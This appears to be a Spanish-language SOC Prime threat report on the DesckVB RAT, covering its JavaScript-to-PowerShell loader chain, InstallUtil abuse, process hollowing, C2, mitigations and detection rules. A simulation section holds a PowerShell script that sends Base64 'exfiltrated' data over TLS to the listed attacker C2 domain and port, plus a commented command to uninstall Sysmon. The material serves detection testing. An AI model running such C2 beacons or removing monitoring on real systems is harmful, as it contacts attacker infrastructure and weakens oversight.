SOC Prime Bias: Medio

09 Abr 2026 17:59

Análisis de DesckVB RAT: Desde el Cargador de JavaScript hasta el RAT Fileless .NET

Author Photo
Ruslan Mikhalov Jefe de Investigación de Amenazas en SOC Prime linkedin icon Seguir
Análisis de DesckVB RAT: Desde el Cargador de JavaScript hasta el RAT Fileless .NET
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Resumen

DesckVB RAT es un troyano impulsado por JavaScript que conecta con un cargador de PowerShell para obtener y ejecutar un DLL .NET sin archivos directamente en la memoria. Para ocultar la ejecución, el cargador recurre a la codificación Base64 y ofuscación de cadena inversa, abusa de InstallUtil.exe como LOLBin y lanza un nuevo proceso usando CreateProcessA. Una vez activo, el RAT establece comunicaciones C2 cifradas por HTTPS y soporta módulos para registro de teclas, acceso a la cámara web y descubrimiento anti-AV.

Investigación

El análisis indica que la etapa inicial de JavaScript escribe un script de PowerShell en C:UsersPublic, luego se comunica con un dominio ofuscado para descargar un ensamblado .NET (por ejemplo, ClassLibrary3.dll). El ensamblado carga las DLL de soporte, crea un proceso suspendido e inyecta código de carga mientras reporta detalles de configuración como un dominio y puerto malicioso secundario. La telemetría de red confirma las comunicaciones cifradas por TLS del anfitrión infectado a la infraestructura C2 del atacante.

Mitigación

Bloquee la ejecución de scripts de PowerShell no confiables o no firmados y restrinja el uso de InstallUtil.exe para flujos de trabajo no administrativos o inesperados. Aplique controles estrictos de salida, incluida la inspección HTTPS donde sea factible y filtrado de reputación de dominio para la infraestructura maliciosa identificada. En los puntos finales, detecte el uso de CreateProcessA con señales de procesos suspendidos y alerte sobre patrones de carga de ensamblados .NET en memoria consistentes con la inyección sin archivos.

Respuesta

Si se detectan indicadores, aísle el punto final, detenga la cadena de procesos maliciosa y capture volcados de memoria para el análisis de ensamblados en memoria y regiones inyectadas. Elimine los artefactos de PowerShell en C:UsersPublic y erradique cualquier DLL relacionada o restos del cargador. Restablezca las credenciales impactadas, rode siempre las claves expuestas, y revise los registros de firewall/proxy para conexiones salientes a los dominios y puertos listados.

"graph TB %% Definiciones de clases classDef action fill:#ffcc99 classDef tool fill:#99ccff classDef malware fill:#ccffcc classDef file fill:#dddddd %% Nodos loader_js["<b>Herramienta</b> – <b>Nombre</b>: Cargador JavaScript Ofuscado<br/><b>Técnica</b>: T1027.006 HTML Smuggling<br/><b>Técnica</b>: T1027.008 Payloads Recortados<br/><b>Descripción</b>: Usa Base64 y cadenas invertidas para ocultar comandos"] class loader_js tool powershell_script["<b>Herramienta</b> – <b>Nombre</b>: Script de PowerShell lkpzw_01.ps1<br/><b>Técnica</b>: T1059.001 PowerShell<br/><b>Descripción</b>: Se ejecuta con política de ejecución eludida"] class powershell_script tool dotnet_assembly["<b>Archivo</b>: Ensamblado .NET Malicioso"] class dotnet_assembly file installutil_execution["<b>Herramienta</b> – <b>Nombre</b>: InstallUtil.exe<br/><b>Técnica</b>: T1218.004 Ejecución de Proxys de Binarios del Sistema<br/><b>Descripción</b>: Ejecuta DLL .NET a través de un binario del sistema de confianza"] class installutil_execution tool dotnet_reflection["<b>Malware</b> – <b>Nombre</b>: ClassLibrary3.dll<br/><b>Técnica</b>: T1620 Carga de Código Reflexiva<br/><b>Descripción</b>: Carga ensamblado directamente en la memoria usando reflexión"] class dotnet_reflection malware process_hollow["<b>Acción</b> – <b>Técnica</b>: T1055.012 Hollowing de Procesos<br/><b>Descripción</b>: Crea un proceso suspendido e inyecta código malicioso"] class process_hollow action thread_hijack["<b>Acción</b> – <b>Técnica</b>: T1055.003 Secuestro de Ejecución de Hilos<br/><b>Descripción</b>: Secuestra la ejecución del hilo dentro del proceso objetivo"] class thread_hijack action dll_hijack["<b>Acción</b> – <b>Técnica</b>: T1574.001 Flujo de Ejecución de Secuestro DLL<br/><b>Descripción</b>: Carga DLL adicionales en memoria para extender la funcionalidad"] class dll_hijack action keylogger_module["<b>Malware</b> – <b>Nombre</b>: Microsoft.exe<br/><b>Técnica</b>: T1056.001 Keylogging<br/><b>Descripción</b>: Deja keylogger y otros módulos"] class keylogger_module malware c2_https["<b>Acción</b> – <b>Técnica</b>: T1071.001 Protocolos Web<br/><b>Descripción</b>: Se comunica por HTTPS mezclándose con tráfico legítimo"] class c2_https action %% Conexiones loader_js –>|escribe y ejecuta| powershell_script powershell_script –>|descarga ensamblado| dotnet_assembly dotnet_assembly –>|ejecutado via| installutil_execution installutil_execution –>|carga mediante reflexión| dotnet_reflection dotnet_reflection –>|crea proceso suspendido| process_hollow process_hollow –>|usa secuestro de hilo| thread_hijack thread_hijack –>|carga DLL adicionales| dll_hijack dll_hijack –>|habilita| keylogger_module keylogger_module –>|se comunica con C2| c2_https "

Flujo de Ataque

Detecciones

PowerShell Ejecutando Archivos en Directorios Sospechosos Usando Política de Ejecución de Bypass (vía cmdline)

Equipo SOC Prime
08 Abr 2026

LOLBAS WScript / CScript (vía creación_proceso)

Equipo SOC Prime
08 Abr 2026

Cadenas Sospechosas de PowerShell (vía powershell)

Equipo SOC Prime
08 Abr 2026

Llamada a Clases/Métodos .NET Sospechosos desde CommandLine de PowerShell (vía creación_proceso)

Equipo SOC Prime
08 Abr 2026

Archivos Sospechosos en el Perfil de Usuario Público (vía evento_archivo)

Equipo SOC Prime
08 Abr 2026

Ejecución Sospechosa desde el Perfil de Usuario Público (vía creación_proceso)

Equipo SOC Prime
08 Abr 2026

IOCs (SourceIP) para detectar: Análisis DesckVB RAT: De Cargador JavaScript a RAT .NET sin Archivos

Reglas de IA de SOC Prime
08 Abr 2026

IOCs (HashMd5) para detectar: Análisis DesckVB RAT: De Cargador JavaScript a RAT .NET sin Archivos

Reglas de IA de SOC Prime
08 Abr 2026

IOCs (HashSha256) para detectar: Análisis DesckVB RAT: De Cargador JavaScript a RAT .NET sin Archivos

Reglas de IA de SOC Prime
08 Abr 2026

IOCs (DestinationIP) para detectar: Análisis DesckVB RAT: De Cargador JavaScript a RAT .NET sin Archivos

Reglas de IA de SOC Prime
08 Abr 2026

Detección de Comunicación C2 de DesckVB RAT [Conexión de Red de Windows]

Reglas de IA de SOC Prime
08 Abr 2026

Detección de Ejecución de PowerShell y InstallUtil de DesckVB RAT [PowerShell de Windows]

Reglas de IA de SOC Prime
08 Abr 2026

Ejecución de Simulación

Requisito previo: la Verificación Previa de Telemetría & Línea Base debe haber pasado.

Justificación: Esta sección detalla la ejecución precisa de la técnica del atacante (TTP) diseñada para activar la regla de detección. Los comandos y la narrativa DEBEN reflejar directamente los TTPs identificados y apuntar a generar la telemetría exacta esperada por la lógica de detección. Ejemplos abstractos o no relacionados llevarán a un diagnóstico erróneo.

  • Narrativa de Ataque y Comandos:
    El atacante, habiendo obtenido un punto de apoyo inicial, lanza una carga útil basada en PowerShell ‘living-off-the-land’ que abre una conexión TCP envuelta en TLS al dominio C2 codificado manikandan83.mysynology.net en el puerto 7535. La carga útil codifica un bloque de datos ficticio con Base64 (ilustrando T1132.002) y lo transmite a través del canal TLS. Debido a que las clases .NET de PowerShell son utilizadas, no se escriben binarios externos en el disco, imitando la naturaleza sin archivos de DesckVB RAT. La conexión es establecida por un proceso hijo (powershell.exe) que será capturado por Sysmon como un evento de conexión de red con el dominio exacto, puerto y señal de apretón de manos TLS que la regla monitorea.

  • Script de Prueba de Regresión:

    # --------------------------------------------------------------
    # Simulación de Comunicación C2 de DesckVB RAT (PowerShell)
    # --------------------------------------------------------------
    # Parámetros
    $c2Domain = "manikandan83.mysynology.net"
    $c2Port   = 7535
    
    # Carga útil ficticia (codificada en Base64) – representa datos exfiltrados
    $payload  = [Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes("sensor_data=42"))
    
    try {
        # Establecer conexión TCP
        $tcpClient = New-Object System.Net.Sockets.TcpClient($c2Domain, $c2Port)
        $netStream = $tcpClient.GetStream()
    
        # Envolver con TLS (SslStream)
        $sslStream = New-Object System.Net.Security.SslStream($netStream,$false,({$true}))
        $sslStream.AuthenticateAsClient($c2Domain)
    
        Write-Host "[+] Se completó el apretón de manos TLS con $c2Domain:$c2Port"
    
        # Enviar prefijo de longitud de carga útil (4 bytes, big-endian) luego los datos
        $bytes = [System.Text.Encoding]::UTF8.GetBytes($payload)
        $len   = [BitConverter]::GetBytes([System.Net.IPAddress]::HostToNetworkOrder($bytes.Length))
        $sslStream.Write($len,0,$len.Length)
        $sslStream.Write($bytes,0,$bytes.Length)
        $sslStream.Flush()
        Write-Host "[+] Carga útil enviada (longitud Base64 $($bytes.Length))"
    
    } catch {
        Write-Error "[-] Falló la conexión: $_"
    } finally {
        # Cierre limpio
        if ($sslStream) { $sslStream.Close() }
        if ($netStream) { $netStream.Close() }
        if ($tcpClient) { $tcpClient.Close() }
        Write-Host "[*] Conexión terminada."
    }
  • Comandos de Limpieza:

    # Asegúrese de que cualquier conexión NetTCP de PowerShell persistente esté cerrada
    Get-Process -Name powershell | Where-Object {
        $_.Modules.ModuleName -match 'System.Net.Sockets.TcpClient'
    } | Stop-Process -Force
    
    # Opcional: Eliminar Sysmon (si este es un entorno de prueba única)
    # &$ '"$env:ProgramFilesSysmonSysmon.exe' -u